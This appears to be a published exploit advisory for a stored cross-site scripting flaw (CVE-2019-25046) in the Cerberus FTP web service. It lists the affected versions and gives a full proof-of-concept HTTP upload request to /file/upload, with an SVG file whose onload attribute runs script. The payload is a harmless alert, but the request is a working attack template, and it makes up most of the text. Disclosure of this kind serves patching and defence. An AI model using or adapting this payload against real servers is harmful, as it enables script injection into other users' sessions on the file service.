63 lines
No EOL
2.2 KiB
Text
63 lines
No EOL
2.2 KiB
Text
# Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
|
|
# Date: 08/06/2021
|
|
# Exploit Author: Mohammad Hossein Kaviyany
|
|
# Vendor Homepage: www.cerberusftp.com
|
|
# Software Link: https://www.cerberusftp.com/download/
|
|
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
|
|
# Tested on: windows server 2016
|
|
# CVE: CVE-2019-25046
|
|
------------
|
|
About Cerberus FTP Server (From Vendor Site) :
|
|
|
|
Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS,
|
|
FIPS 140-2 validated, and Active Directory and LDAP authentication.
|
|
--------------------------------------------------------
|
|
Exploit Detailes :
|
|
|
|
This stored XSS bug happens when a user uploads an svg file with the following content :
|
|
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
|
|
|
|
Exploit POC :
|
|
|
|
# Vulnerable Path : /file/upload
|
|
# Parameter: files (POST)
|
|
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
|
|
|
|
#Payload:
|
|
|
|
POST /file/upload HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
Content-Length: 484
|
|
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
X-Requested-With: XMLHttpRequest
|
|
sec-ch-ua-mobile: ?0
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
|
|
Origin: https://target.com
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Dest: empty
|
|
Referer: https://target.com/file/d/home/
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM
|
|
|
|
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
|
|
Content-Disposition: form-data; name="cd"
|
|
|
|
/home
|
|
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
|
|
Content-Disposition: form-data; name="csrftoken"
|
|
|
|
z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
|
|
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
|
|
Content-Disposition: form-data; name="files[]"; filename="file.svg"
|
|
Content-Type: image/svg+xml
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
|
|
|
|
------WebKitFormBoundaryAAM6ZtOAsyklo6JG--
|
|
|
|
-------------------------- |